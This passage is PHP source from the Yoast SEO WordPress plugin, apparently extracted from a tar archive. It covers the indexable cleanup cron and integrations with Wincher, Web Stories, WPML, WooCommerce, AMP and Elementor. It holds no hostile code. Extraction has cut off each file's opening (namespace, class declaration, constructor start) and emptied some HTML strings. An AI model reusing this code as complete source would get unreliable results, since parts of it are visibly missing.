'clean_indexables_for_non_publicly_viewable_post' => function ( $limit ) { return $this->cleanup_repository->clean_indexables_for_non_publicly_viewable_post( $limit ); }, 'clean_indexables_for_non_publicly_viewable_taxonomies' => function ( $limit ) { return $this->cleanup_repository->clean_indexables_for_non_publicly_viewable_taxonomies( $limit ); }, 'clean_indexables_for_non_publicly_viewable_post_type_archive_pages' => function ( $limit ) { return $this->cleanup_repository->clean_indexables_for_non_publicly_viewable_post_type_archive_pages( $limit ); }, 'clean_indexables_for_authors_archive_disabled' => function ( $limit ) { return $this->cleanup_repository->clean_indexables_for_authors_archive_disabled( $limit ); }, 'clean_indexables_for_authors_without_archive' => function ( $limit ) { return $this->cleanup_repository->clean_indexables_for_authors_without_archive( $limit ); }, 'update_indexables_author_to_reassigned' => function ( $limit ) { return $this->cleanup_repository->update_indexables_author_to_reassigned( $limit ); }, 'clean_orphaned_user_indexables_without_wp_user' => function ( $limit ) { return $this->cleanup_repository->clean_indexables_for_orphaned_users( $limit ); }, 'clean_orphaned_user_indexables_without_wp_post' => function ( $limit ) { return $this->cleanup_repository->clean_indexables_for_object_type_and_source_table( 'posts', 'ID', 'post', $limit ); }, 'clean_orphaned_user_indexables_without_wp_term' => function ( $limit ) { return $this->cleanup_repository->clean_indexables_for_object_type_and_source_table( 'terms', 'term_id', 'term', $limit ); }, ], $this->get_additional_indexable_cleanups(), [ /* These should always be the last ones to be called. */ 'clean_orphaned_content_indexable_hierarchy' => function ( $limit ) { return $this->cleanup_repository->cleanup_orphaned_from_table( 'Indexable_Hierarchy', 'indexable_id', $limit ); }, 'clean_orphaned_content_seo_links_indexable_id' => function ( $limit ) { return $this->cleanup_repository->cleanup_orphaned_from_table( 'SEO_Links', 'indexable_id', $limit ); }, 'clean_orphaned_content_seo_links_target_indexable_id' => function ( $limit ) { return $this->cleanup_repository->cleanup_orphaned_from_table( 'SEO_Links', 'target_indexable_id', $limit ); }, ], $this->get_additional_misc_cleanups(), ); } /** * Gets additional tasks from the 'wpseo_cleanup_tasks' filter. * * @return Closure[] Associative array of indexable cleanup functions. */ private function get_additional_indexable_cleanups() { /** * Filter: Adds the possibility to add additional indexable cleanup functions. * * @param array $additional_tasks Associative array with unique keys. Value should be a cleanup function that receives a limit. */ $additional_tasks = \apply_filters( 'wpseo_cleanup_tasks', [] ); return $this->validate_additional_tasks( $additional_tasks ); } /** * Gets additional tasks from the 'wpseo_misc_cleanup_tasks' filter. * * @return Closure[] Associative array of indexable cleanup functions. */ private function get_additional_misc_cleanups() { /** * Filter: Adds the possibility to add additional non-indexable cleanup functions. * * @param array $additional_tasks Associative array with unique keys. Value should be a cleanup function that receives a limit. */ $additional_tasks = \apply_filters( 'wpseo_misc_cleanup_tasks', [] ); return $this->validate_additional_tasks( $additional_tasks ); } /** * Validates the additional tasks. * * @param Closure[] $additional_tasks The additional tasks to validate. * * @return Closure[] The validated additional tasks. */ private function validate_additional_tasks( $additional_tasks ) { if ( ! \is_array( $additional_tasks ) ) { return []; } foreach ( $additional_tasks as $key => $value ) { if ( \is_int( $key ) ) { return []; } if ( ( ! \is_object( $value ) ) || ! ( $value instanceof Closure ) ) { return []; } } return $additional_tasks; } /** * Gets the deletion limit for cleanups. * * @return int The limit for the amount of entities to be cleaned. */ private function get_limit() { /** * Filter: Adds the possibility to limit the number of items that are deleted from the database on cleanup. * * @param int $limit Maximum number of indexables to be cleaned up per query. */ $limit = \apply_filters( 'wpseo_cron_query_limit_size', 1000 ); if ( ! \is_int( $limit ) ) { $limit = 1000; } return \abs( $limit ); } /** * Resets and stops the cleanup integration. * * @return void */ public function reset_cleanup() { \delete_option( self::CURRENT_TASK_OPTION ); \wp_unschedule_hook( self::CRON_HOOK ); } /** * Starts the cleanup cron job. * * @param string $task_name The task name of the next cleanup task to run. * @param int $schedule_time The time in seconds to wait before running the first cron job. Default is 1 hour. * * @return void */ public function start_cron_job( $task_name, $schedule_time = 3600 ) { \update_option( self::CURRENT_TASK_OPTION, $task_name ); \wp_schedule_event( ( \time() + $schedule_time ), 'hourly', self::CRON_HOOK, ); } /** * The callback that is called for the cleanup cron job. * * @return void */ public function run_cleanup_cron() { if ( ! $this->indexable_helper->should_index_indexables() ) { $this->reset_cleanup(); return; } $current_task_name = \get_option( self::CURRENT_TASK_OPTION ); if ( $current_task_name === false ) { $this->reset_cleanup(); return; } $limit = $this->get_limit(); $tasks = $this->get_cleanup_tasks(); // The task may have been added by a filter that has been removed, in that case just start over. if ( ! isset( $tasks[ $current_task_name ] ) ) { $current_task_name = \key( $tasks ); } $current_task = \current( $tasks ); while ( $current_task !== false ) { // Skip the tasks that have already been done. if ( \key( $tasks ) !== $current_task_name ) { $current_task = \next( $tasks ); continue; } // Call the cleanup callback function that accompanies the current task. $items_cleaned = $current_task( $limit ); if ( $items_cleaned === false ) { $this->reset_cleanup(); return; } if ( $items_cleaned === 0 ) { // Check if we are finished with all tasks. if ( \next( $tasks ) === false ) { $this->reset_cleanup(); return; } // Continue with the next task next time the cron job is run. \update_option( self::CURRENT_TASK_OPTION, \key( $tasks ) ); return; } // There were items deleted for the current task, continue with the same task next cron call. return; } } } integrations/third-party/wincher-publish.php000064400000011157152076254730015355 0ustar00wincher_enabled = $wincher_enabled; $this->options_helper = $options_helper; $this->keyphrases_action = $keyphrases_action; $this->account_action = $account_action; } /** * Initializes the integration. * * @return void */ public function register_hooks() { /** * Called in the REST API when submitting the post copy in the Block Editor. * Runs the republishing of the copy onto the original. */ \add_action( 'rest_after_insert_post', [ $this, 'track_after_rest_api_request' ] ); /** * Called by `wp_insert_post()` when submitting the post copy, which runs in two cases: * - In the Classic Editor, where there's only one request that updates everything. * - In the Block Editor, only when there are custom meta boxes. */ \add_action( 'wp_insert_post', [ $this, 'track_after_post_request' ], \PHP_INT_MAX, 2 ); } /** * Returns the conditionals based in which this loadable should be active. * * This integration should only be active when the feature is enabled, a token is available and automatically tracking is enabled. * * @return array The conditionals. */ public static function get_conditionals() { return [ Wincher_Conditional::class, Wincher_Enabled_Conditional::class, Wincher_Automatically_Track_Conditional::class, Wincher_Token_Conditional::class, ]; } /** * Determines whether the current request is a REST request. * * @deprecated 23.6 * @codeCoverageIgnore * * @return bool Whether the request is a REST request. */ public function is_rest_request() { \_deprecated_function( __METHOD__, 'Yoast SEO 23.6', 'wp_is_serving_rest_request' ); return \defined( 'REST_REQUEST' ) && \REST_REQUEST; } /** * Sends the keyphrases associated with the post to Wincher for automatic tracking. * * @param WP_Post $post The post to extract the keyphrases from. * * @return void */ public function track_request( $post ) { if ( ! $post instanceof WP_Post ) { return; } // Filter out empty entries. $keyphrases = \array_filter( $this->keyphrases_action->collect_keyphrases_from_post( $post ) ); if ( ! empty( $keyphrases ) ) { $this->keyphrases_action->track_keyphrases( $keyphrases, $this->account_action->check_limit() ); } } /** * Republishes the original post with the passed post, when using the Block Editor. * * @param WP_Post $post The copy's post object. * * @return void */ public function track_after_rest_api_request( $post ) { $this->track_request( $post ); } /** * Republishes the original post with the passed post, when using the Classic Editor. * * Runs also in the Block Editor to save the custom meta data only when there * are custom meta boxes. * * @param int $post_id The copy's post ID. * @param WP_Post $post The copy's post object. * * @return void */ public function track_after_post_request( $post_id, $post ) { if ( \wp_is_serving_rest_request() ) { return; } $this->track_request( $post ); } } integrations/third-party/web-stories.php000064400000007731152076254730014520 0ustar00front_end = $front_end; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { // Disable default title and meta description output in the Web Stories plugin, // and force-add title & meta description presenter, regardless of theme support. \add_filter( 'web_stories_enable_document_title', '__return_false' ); \add_filter( 'web_stories_enable_metadata', '__return_false' ); \add_filter( 'wpseo_frontend_presenters', [ $this, 'filter_frontend_presenters' ], 10, 2 ); \add_action( 'web_stories_enable_schemaorg_metadata', '__return_false' ); \add_action( 'web_stories_enable_open_graph_metadata', '__return_false' ); \add_action( 'web_stories_enable_twitter_metadata', '__return_false' ); \add_action( 'web_stories_story_head', [ $this, 'web_stories_story_head' ], 1 ); \add_filter( 'wpseo_schema_article_type', [ $this, 'filter_schema_article_type' ], 10, 2 ); \add_filter( 'wpseo_metadesc', [ $this, 'filter_meta_description' ], 10, 2 ); } /** * Filter 'wpseo_frontend_presenters' - Allow filtering the presenter instances in or out of the request. * * @param array $presenters The presenters. * @param Meta_Tags_Context $context The meta tags context for the current page. * @return array Filtered presenters. */ public function filter_frontend_presenters( $presenters, $context ) { if ( $context->indexable->object_sub_type !== 'web-story' ) { return $presenters; } $has_title_presenter = false; foreach ( $presenters as $presenter ) { if ( $presenter instanceof Title_Presenter ) { $has_title_presenter = true; } } if ( ! $has_title_presenter ) { $presenters[] = new Title_Presenter(); } return $presenters; } /** * Hooks into web story generation to modify output. * * @return void */ public function web_stories_story_head() { \remove_action( 'web_stories_story_head', 'rel_canonical' ); \add_action( 'web_stories_story_head', [ $this->front_end, 'call_wpseo_head' ], 9 ); } /** * Filters the meta description for stories. * * @param string $description The description sentence. * @param Indexable_Presentation $presentation The presentation of an indexable. * @return string The description sentence. */ public function filter_meta_description( $description, $presentation ) { if ( $description || $presentation->model->object_sub_type !== 'web-story' ) { return $description; } return \get_the_excerpt( $presentation->model->object_id ); } /** * Filters Article type for Web Stories. * * @param string|string[] $type The Article type. * @param Indexable $indexable The indexable. * @return string|string[] Article type. */ public function filter_schema_article_type( $type, $indexable ) { if ( $indexable->object_sub_type !== 'web-story' ) { return $type; } if ( \is_string( $type ) && $type === 'None' ) { return 'Article'; } return $type; } } integrations/third-party/web-stories-post-edit.php000064400000002331152076254730016415 0ustar00post_type === 'product' ) { $values['metaDescriptionDate'] = ''; } return $values; } } integrations/third-party/jetpack.php000064400000001504152076254730013666 0ustar00options = $options; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { if ( $this->options->get( 'breadcrumbs-enable' ) !== true ) { return; } /** * If breadcrumbs are active (which they supposedly are if the users has enabled this settings, * there's no reason to have bbPress breadcrumbs as well. * * {@internal The class itself is only loaded when the template tag is encountered * via the template tag function in the wpseo-functions.php file.}} */ \add_filter( 'bbp_get_breadcrumb', '__return_false' ); } } integrations/third-party/wpml-wpseo-notification.php000064400000006571152076254730017054 0ustar00short_link_helper = $short_link_helper; $this->notification_center = $notification_center; $this->wpml_wpseo_conditional = $wpml_wpseo_conditional; } /** * Initializes the integration. * * @return void */ public function register_hooks() { \add_action( 'admin_notices', [ $this, 'notify_not_installed' ] ); } /** * Returns the conditionals based in which this loadable should be active. * * This integration should only be active when WPML is installed and activated. * * @return array The conditionals. */ public static function get_conditionals() { return [ WPML_Conditional::class ]; } /** * Notify the user that the Yoast SEO Multilingual plugin is not installed * (when the WPML plugin is installed). * * Remove the notification again when it is installed. * * @return void */ public function notify_not_installed() { if ( ! $this->wpml_wpseo_conditional->is_met() ) { $this->notification_center->add_notification( $this->get_notification() ); return; } $this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID ); } /** * Generates the notification to show to the user when WPML is installed, * but the Yoast SEO Multilingual plugin is not. * * @return Yoast_Notification The notification. */ protected function get_notification() { return new Yoast_Notification( \sprintf( /* translators: %1$s expands to an opening anchor tag, %2$s expands to an closing anchor tag. */ \__( 'We notice that you have installed WPML. To make sure your canonical URLs are set correctly, %1$sinstall and activate the WPML SEO add-on%2$s as well!', 'wordpress-seo' ), '', '', ), [ 'id' => self::NOTIFICATION_ID, 'type' => Yoast_Notification::WARNING, ], ); } } integrations/third-party/w3-total-cache.php000064400000001474152076254730014766 0ustar00front_end = $front_end; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'amp_post_template_head', [ $this, 'remove_amp_meta_output' ], 0 ); \add_action( 'amp_post_template_head', [ $this->front_end, 'call_wpseo_head' ], 9 ); } /** * Removes amp meta output. * * @return void */ public function remove_amp_meta_output() { \remove_action( 'amp_post_template_head', 'amp_post_template_add_title' ); \remove_action( 'amp_post_template_head', 'amp_post_template_add_canonical' ); \remove_action( 'amp_post_template_head', 'amp_print_schemaorg_metadata' ); } } integrations/third-party/woocommerce-permalinks.php000064400000005714152076254740016737 0ustar00indexable_helper = $indexable_helper; } /** * Registers the hooks. * * @codeCoverageIgnore * * @return void */ public function register_hooks() { \add_filter( 'wpseo_post_types_reset_permalinks', [ $this, 'filter_product_from_post_types' ] ); \add_action( 'update_option_woocommerce_permalinks', [ $this, 'reset_woocommerce_permalinks' ], 10, 2 ); } /** * Filters the product post type from the post type. * * @param array $post_types The post types to filter. * * @return array The filtered post types. */ public function filter_product_from_post_types( $post_types ) { unset( $post_types['product'] ); return $post_types; } /** * Resets the indexables for WooCommerce based on the changed permalink fields. * * @param array $old_value The old value. * @param array $new_value The new value. * * @return void */ public function reset_woocommerce_permalinks( $old_value, $new_value ) { $changed_options = \array_diff( $old_value, $new_value ); if ( \array_key_exists( 'product_base', $changed_options ) ) { $this->indexable_helper->reset_permalink_indexables( 'post', 'product' ); } if ( \array_key_exists( 'attribute_base', $changed_options ) ) { $attribute_taxonomies = $this->get_attribute_taxonomies(); foreach ( $attribute_taxonomies as $attribute_name ) { $this->indexable_helper->reset_permalink_indexables( 'term', $attribute_name ); } } if ( \array_key_exists( 'category_base', $changed_options ) ) { $this->indexable_helper->reset_permalink_indexables( 'term', 'product_cat' ); } if ( \array_key_exists( 'tag_base', $changed_options ) ) { $this->indexable_helper->reset_permalink_indexables( 'term', 'product_tag' ); } } /** * Retrieves the taxonomies based on the attributes. * * @return array The taxonomies. */ protected function get_attribute_taxonomies() { $taxonomies = []; foreach ( \wc_get_attribute_taxonomies() as $attribute_taxonomy ) { $taxonomies[] = \wc_attribute_taxonomy_name( $attribute_taxonomy->attribute_name ); } $taxonomies = \array_filter( $taxonomies ); return $taxonomies; } } integrations/third-party/elementor.php000064400000063611152076254740014247 0ustar00asset_manager = $asset_manager; $this->options = $options; $this->capability = $capability; $this->request_post = $request_post; $this->seo_analysis = new WPSEO_Metabox_Analysis_SEO(); $this->readability_analysis = new WPSEO_Metabox_Analysis_Readability(); $this->inclusive_language_analysis = new WPSEO_Metabox_Analysis_Inclusive_Language(); $this->social_is_enabled = $this->options->get( 'opengraph', false ) || $this->options->get( 'twitter', false ); $this->is_advanced_metadata_enabled = $this->capability->current_user_can( 'wpseo_edit_advanced_metadata' ) || $this->options->get( 'disableadvanced_meta' ) === false; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'wp_ajax_wpseo_elementor_save', [ $this, 'save_postdata' ] ); // We need to delay the post type lookup to give other plugins a chance to register custom post types. \add_action( 'init', [ $this, 'register_elementor_hooks' ], \PHP_INT_MAX ); } /** * Registers our Elementor hooks. * This is done for pages with metabox on page load and not on ajax request. * * @return void */ public function register_elementor_hooks() { if ( $this->get_metabox_post() === null || ! $this->display_metabox( $this->get_metabox_post()->post_type ) ) { return; } \add_action( 'elementor/editor/before_enqueue_scripts', [ $this, 'init' ] ); \add_action( 'elementor/editor/footer', [ $this, 'start_output_buffering' ], 0 ); \add_action( 'elementor/editor/footer', [ $this, 'inject_yoast_tab' ], 999 ); } /** * Initializes the integration. * * @return void */ public function init() { $this->asset_manager->register_assets(); $this->enqueue(); $this->render_hidden_fields(); } /** * Start capturing buffer. * * @return void */ public function start_output_buffering() { \ob_start(); } /** * Injects the Yoast SEO tab into the Elements panel of the Elementor editor. * * @return void */ public function inject_yoast_tab() { $output = \ob_get_clean(); // If the buffer is empty or the call failed, bail out. if ( empty( $output ) ) { return; } $search = '/(<(div|button) class="elementor-component-tab elementor-panel-navigation-tab" data-tab="global">.*<\/(div|button)>)/m'; $replace = '${1}<${2} class="elementor-component-tab elementor-panel-navigation-tab" data-tab="yoast-seo-tab">Yoast SEO'; $modified_output = \preg_replace( $search, $replace, $output ); // Check if preg_replace failed. If so, fallback to original output. if ( $modified_output === null ) { // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Already escaped output. echo $output; return; } // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Already escaped output. echo $modified_output; } // Below is mostly copied from `class-metabox.php`. That constructor has side-effects we do not need. /** * Determines whether the metabox should be shown for the passed identifier. * * By default, the check is done for post types, but can also be used for taxonomies. * * @param string|null $identifier The identifier to check. * @param string $type The type of object to check. Defaults to post_type. * * @return bool Whether the metabox should be displayed. */ public function display_metabox( $identifier = null, $type = 'post_type' ) { return WPSEO_Utils::is_metabox_active( $identifier, $type ); } /** * Saves the WP SEO metadata for posts. * * Outputs JSON via wp_send_json then stops code execution. * * {@internal $_POST parameters are validated via sanitize_post_meta().}} * * @return void */ public function save_postdata() { global $post; if ( ! isset( $_POST['post_id'] ) || ! \is_string( $_POST['post_id'] ) ) { \wp_send_json_error( 'Bad Request', 400 ); } // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: No sanitization needed because we cast to an integer. $post_id = (int) \wp_unslash( $_POST['post_id'] ); if ( $post_id <= 0 ) { \wp_send_json_error( 'Bad Request', 400 ); } if ( ! \current_user_can( 'edit_post', $post_id ) ) { \wp_send_json_error( 'Forbidden', 403 ); } \check_ajax_referer( 'wpseo_elementor_save', '_wpseo_elementor_nonce' ); // Bail if this is a multisite installation and the site has been switched. if ( \is_multisite() && \ms_is_switched() ) { \wp_send_json_error( 'Switched multisite', 409 ); } \clean_post_cache( $post_id ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- To setup the post we need to do this explicitly. $post = \get_post( $post_id ); if ( ! \is_object( $post ) ) { // Non-existent post. \wp_send_json_error( 'Post not found', 400 ); } \do_action( 'wpseo_save_compare_data', $post ); // Initialize meta, amongst other things it registers sanitization. WPSEO_Meta::init(); $social_fields = []; if ( $this->social_is_enabled ) { $social_fields = WPSEO_Meta::get_meta_field_defs( 'social', $post->post_type ); } // The below methods use the global post so make sure it is setup. \setup_postdata( $post ); $meta_boxes = \apply_filters( 'wpseo_save_metaboxes', [] ); $meta_boxes = \array_merge( $meta_boxes, WPSEO_Meta::get_meta_field_defs( 'general', $post->post_type ), WPSEO_Meta::get_meta_field_defs( 'advanced', $post->post_type ), $social_fields, WPSEO_Meta::get_meta_field_defs( 'schema', $post->post_type ), ); foreach ( $meta_boxes as $key => $meta_box ) { // If analysis is disabled remove that analysis score value from the DB. if ( $this->is_meta_value_disabled( $key ) ) { WPSEO_Meta::delete( $key, $post_id ); continue; } $data = null; $field_name = WPSEO_Meta::$form_prefix . $key; if ( $meta_box['type'] === 'checkbox' ) { $data = isset( $_POST[ $field_name ] ) ? 'on' : 'off'; } else { if ( isset( $_POST[ $field_name ] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: Sanitized through sanitize_post_meta. $data = \wp_unslash( $_POST[ $field_name ] ); // For multi-select. if ( \is_array( $data ) ) { $data = \array_map( [ 'WPSEO_Utils', 'sanitize_text_field' ], $data ); } if ( \is_string( $data ) ) { $data = ( $key !== 'canonical' ) ? WPSEO_Utils::sanitize_text_field( $data ) : WPSEO_Utils::sanitize_url( $data ); } } // Reset options when no entry is present with multiselect - only applies to `meta-robots-adv` currently. if ( ! isset( $_POST[ $field_name ] ) && ( $meta_box['type'] === 'multiselect' ) ) { $data = []; } } if ( $data !== null ) { WPSEO_Meta::set_value( $key, $data, $post_id ); } } if ( isset( $_POST[ WPSEO_Meta::$form_prefix . 'slug' ] ) && \is_string( $_POST[ WPSEO_Meta::$form_prefix . 'slug' ] ) ) { $slug = \sanitize_title( \wp_unslash( $_POST[ WPSEO_Meta::$form_prefix . 'slug' ] ) ); if ( $post->post_name !== $slug ) { $post_array = $post->to_array(); $post_array['post_name'] = $slug; $save_successful = \wp_insert_post( $post_array ); if ( \is_wp_error( $save_successful ) ) { \wp_send_json_error( 'Slug not saved', 400 ); } // Update the post object to ensure we have the actual slug. // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Updating the post is needed to get the current slug. $post = \get_post( $post_id ); if ( ! \is_object( $post ) ) { \wp_send_json_error( 'Updated slug not found', 400 ); } } } \do_action( 'wpseo_saved_postdata' ); // Output the slug, because it is processed by WP and we need the actual slug again. \wp_send_json_success( [ 'slug' => $post->post_name ] ); } /** * Determines if the given meta value key is disabled. * * @param string $key The key of the meta value. * * @return bool Whether the given meta value key is disabled. */ public function is_meta_value_disabled( $key ) { if ( $key === 'linkdex' && ! $this->seo_analysis->is_enabled() ) { return true; } if ( $key === 'content_score' && ! $this->readability_analysis->is_enabled() ) { return true; } if ( $key === 'inclusive_language_score' && ! $this->inclusive_language_analysis->is_enabled() ) { return true; } return false; } /** * Enqueues all the needed JS and CSS. * * @return void */ public function enqueue() { $post_id = \get_queried_object_id(); if ( empty( $post_id ) ) { $post_id = 0; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['post'] ) && \is_string( $_GET['post'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Recommended -- Reason: No sanitization needed because we cast to an integer,We are not processing form information. $post_id = (int) \wp_unslash( $_GET['post'] ); } } if ( $post_id !== 0 ) { // Enqueue files needed for upload functionality. \wp_enqueue_media( [ 'post' => $post_id ] ); } $this->asset_manager->enqueue_style( 'admin-global' ); $this->asset_manager->enqueue_style( 'metabox-css' ); if ( $this->readability_analysis->is_enabled() ) { $this->asset_manager->enqueue_style( 'scoring' ); } $this->asset_manager->enqueue_style( 'monorepo' ); $this->asset_manager->enqueue_style( 'admin-css' ); $this->asset_manager->enqueue_style( 'ai-generator' ); $this->asset_manager->enqueue_style( 'elementor' ); $this->asset_manager->enqueue_script( 'admin-global' ); $this->asset_manager->enqueue_script( 'elementor' ); $this->asset_manager->localize_script( 'elementor', 'wpseoAdminGlobalL10n', \YoastSEO()->helpers->wincher->get_admin_global_links() ); $this->asset_manager->localize_script( 'elementor', 'wpseoAdminL10n', WPSEO_Utils::get_admin_l10n() ); $this->asset_manager->localize_script( 'elementor', 'wpseoFeaturesL10n', WPSEO_Utils::retrieve_enabled_features() ); $plugins_script_data = [ 'replaceVars' => [ 'replace_vars' => $this->get_replace_vars(), 'recommended_replace_vars' => $this->get_recommended_replace_vars(), 'hidden_replace_vars' => $this->get_hidden_replace_vars(), 'scope' => $this->determine_scope(), 'has_taxonomies' => $this->current_post_type_has_taxonomies(), ], 'shortcodes' => [ 'wpseo_shortcode_tags' => $this->get_valid_shortcode_tags(), 'wpseo_filter_shortcodes_nonce' => \wp_create_nonce( 'wpseo-filter-shortcodes' ), ], ]; $worker_script_data = [ 'url' => \YoastSEO()->helpers->asset->get_asset_url( 'yoast-seo-analysis-worker' ), 'dependencies' => \YoastSEO()->helpers->asset->get_dependency_urls_by_handle( 'yoast-seo-analysis-worker' ), 'keywords_assessment_url' => \YoastSEO()->helpers->asset->get_asset_url( 'yoast-seo-used-keywords-assessment' ), 'log_level' => WPSEO_Utils::get_analysis_worker_log_level(), // We need to make the feature flags separately available inside of the analysis web worker. 'enabled_features' => WPSEO_Utils::retrieve_enabled_features(), ]; $permalink = $this->get_permalink(); $page_on_front = (int) \get_option( 'page_on_front' ); $homepage_is_page = \get_option( 'show_on_front' ) === 'page'; $is_front_page = $homepage_is_page && $page_on_front === $post_id; $script_data = [ 'metabox' => $this->get_metabox_script_data( $permalink ), 'isPost' => true, 'isBlockEditor' => WP_Screen::get()->is_block_editor(), 'isElementorEditor' => true, 'isAlwaysIntroductionV2' => $this->is_elementor_version_compatible_with_introduction_v2(), 'postStatus' => \get_post_status( $post_id ), 'postType' => \get_post_type( $post_id ), 'analysis' => [ 'plugins' => $plugins_script_data, 'worker' => $worker_script_data, ], 'usedKeywordsNonce' => \wp_create_nonce( 'wpseo-keyword-usage-and-post-types' ), 'isFrontPage' => $is_front_page, ]; /** * The website information repository. * * @var Website_Information_Repository $repo */ $repo = \YoastSEO()->classes->get( Website_Information_Repository::class ); $site_information = $repo->get_post_site_information(); $site_information->set_permalink( $permalink ); $script_data = \array_merge_recursive( $site_information->get_legacy_site_information(), $script_data ); $this->asset_manager->localize_script( 'elementor', 'wpseoScriptData', $script_data ); } /** * Checks whether the current Elementor version is compatible with our introduction v2. * * In version 3.30.0, Elementor removed the experimental flag for the editor v2. * Resulting in the editor v2 being the default. * * @return bool Whether the Elementor version is compatible with introduction v2. */ private function is_elementor_version_compatible_with_introduction_v2(): bool { if ( ! \defined( 'ELEMENTOR_VERSION' ) ) { return false; } // Take the semver version from their version string. $matches = []; $version = ( \preg_match( '/^([0-9]+.[0-9]+.[0-9]+)/', \ELEMENTOR_VERSION, $matches ) > 0 ) ? $matches[1] : \ELEMENTOR_VERSION; // Check if the version is 3.30.0 or higher. This is where the editor v2 was taken out of the experimental into the default state. return \version_compare( $version, '3.30.0', '>=' ); } /** * Renders the metabox hidden fields. * * @return void */ protected function render_hidden_fields() { // Wrap in a form with an action and post_id for the submit. \printf( '
', \esc_url( \admin_url( 'admin-ajax.php' ) ), \esc_attr( $this->get_metabox_post()->ID ), ); \wp_nonce_field( 'wpseo_elementor_save', '_wpseo_elementor_nonce' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Meta_Fields_Presenter->present is considered safe. echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'general' ); if ( $this->is_advanced_metadata_enabled ) { // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Meta_Fields_Presenter->present is considered safe. echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'advanced' ); } // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Meta_Fields_Presenter->present is considered safe. echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'schema', $this->get_metabox_post()->post_type ); if ( $this->social_is_enabled ) { // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Meta_Fields_Presenter->present is considered safe. echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'social' ); } \printf( '', \esc_attr( WPSEO_Meta::$form_prefix . 'slug' ), /** * It is important that this slug value is the same as in the database. * If the DB value is empty we can auto-generate a slug. * But if not empty, we should not touch it anymore. */ \esc_attr( $this->get_metabox_post()->post_name ), ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output should be escaped in the filter. echo \apply_filters( 'wpseo_elementor_hidden_fields', '' ); echo '
'; } /** * Returns post in metabox context. * * @return WP_Post|null */ protected function get_metabox_post() { if ( $this->post !== null ) { return $this->post; } $this->post = $this->request_post->get_post(); return $this->post; } /** * Passes variables to js for use with the post-scraper. * * @param string $permalink The permalink. * * @return array */ protected function get_metabox_script_data( $permalink ) { $post_formatter = new WPSEO_Metabox_Formatter( new WPSEO_Post_Metabox_Formatter( $this->get_metabox_post(), [], $permalink ), ); $values = $post_formatter->get_values(); /** This filter is documented in admin/filters/class-cornerstone-filter.php. */ $post_types = \apply_filters( 'wpseo_cornerstone_post_types', \YoastSEO()->helpers->post_type->get_accessible_post_types() ); if ( $values['cornerstoneActive'] && ! \in_array( $this->get_metabox_post()->post_type, $post_types, true ) ) { $values['cornerstoneActive'] = false; } $values['elementorMarkerStatus'] = $this->is_highlighting_available() ? 'enabled' : 'hidden'; return $values; } /** * Gets the permalink. * * @return string */ protected function get_permalink(): string { $permalink = ''; if ( \is_object( $this->get_metabox_post() ) ) { $permalink = \get_sample_permalink( $this->get_metabox_post()->ID ); $permalink = $permalink[0]; } return $permalink; } /** * Checks whether the highlighting functionality is available for Elementor: * - in Free it's always available (as an upsell). * - in Premium it's available as long as the version is 21.8-RC0 or above. * * @return bool Whether the highlighting functionality is available. */ private function is_highlighting_available() { $is_premium = \YoastSEO()->helpers->product->is_premium(); $premium_version = \YoastSEO()->helpers->product->get_premium_version(); return ! $is_premium || \version_compare( $premium_version, '21.8-RC0', '>=' ); } /** * Prepares the replace vars for localization. * * @return array Replace vars. */ protected function get_replace_vars() { $cached_replacement_vars = []; $vars_to_cache = [ 'date', 'id', 'sitename', 'sitedesc', 'sep', 'page', 'currentyear', 'currentdate', 'currentmonth', 'currentday', 'tag', 'category', 'category_title', 'primary_category', 'pt_single', 'pt_plural', 'modified', 'name', 'user_description', 'pagetotal', 'pagenumber', 'post_year', 'post_month', 'post_day', 'author_first_name', 'author_last_name', 'permalink', 'post_content', ]; foreach ( $vars_to_cache as $var ) { $cached_replacement_vars[ $var ] = \wpseo_replace_vars( '%%' . $var . '%%', $this->get_metabox_post() ); } // Merge custom replace variables with the WordPress ones. return \array_merge( $cached_replacement_vars, $this->get_custom_replace_vars( $this->get_metabox_post() ) ); } /** * Prepares the recommended replace vars for localization. * * @return array Recommended replacement variables. */ protected function get_recommended_replace_vars() { $recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars(); // What is recommended depends on the current context. $post_type = $recommended_replace_vars->determine_for_post( $this->get_metabox_post() ); return $recommended_replace_vars->get_recommended_replacevars_for( $post_type ); } /** * Returns the list of replace vars that should be hidden inside the editor. * * @return string[] The hidden replace vars. */ protected function get_hidden_replace_vars() { return ( new WPSEO_Replace_Vars() )->get_hidden_replace_vars(); } /** * Gets the custom replace variables for custom taxonomies and fields. * * @param WP_Post $post The post to check for custom taxonomies and fields. * * @return array Array containing all the replacement variables. */ protected function get_custom_replace_vars( $post ) { return [ 'custom_fields' => $this->get_custom_fields_replace_vars( $post ), 'custom_taxonomies' => $this->get_custom_taxonomies_replace_vars( $post ), ]; } /** * Gets the custom replace variables for custom taxonomies. * * @param WP_Post $post The post to check for custom taxonomies. * * @return array Array containing all the replacement variables. */ protected function get_custom_taxonomies_replace_vars( $post ) { $taxonomies = \get_object_taxonomies( $post, 'objects' ); $custom_replace_vars = []; 